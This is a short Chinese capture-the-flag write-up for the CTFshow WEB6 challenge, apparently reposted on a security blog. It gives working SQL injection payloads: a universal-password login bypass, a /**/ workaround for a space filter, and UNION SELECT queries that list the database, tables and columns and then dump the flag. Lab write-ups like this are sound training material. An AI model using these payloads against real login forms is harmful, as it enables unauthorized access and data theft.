CTF show WEB6 - CTFshow WP

admin 2022年1月5日21:45:23CTF show WEB6 - CTFshow WP已关闭评论35 views字数 714阅读2分22秒阅读模式

题目网站https://ctf.show

1.尝试万能密码
username=admin' or 1=1#&password=1

显示sql inject error,发现有字符被过滤。
逐个字符输入后发现过滤了空格,一般空格被过滤有如下替换方法
==/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格==

这里选择/**/

username=admin'/**/or/**/1=1#&password=1

成功登陆

2.使用基本的sql注入模板获取flag

爆库(web2)

username=admin'/**/union/**/select/**/1,database(),3#&password=1

爆表(flag,user)

username=admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#&password=1

爆字段(flag)

username=admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=1

爆字段值

username=admin'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#&password=1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日21:45:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF show WEB6 - CTFshow WPhttp://cn-sec.com/archives/719329.html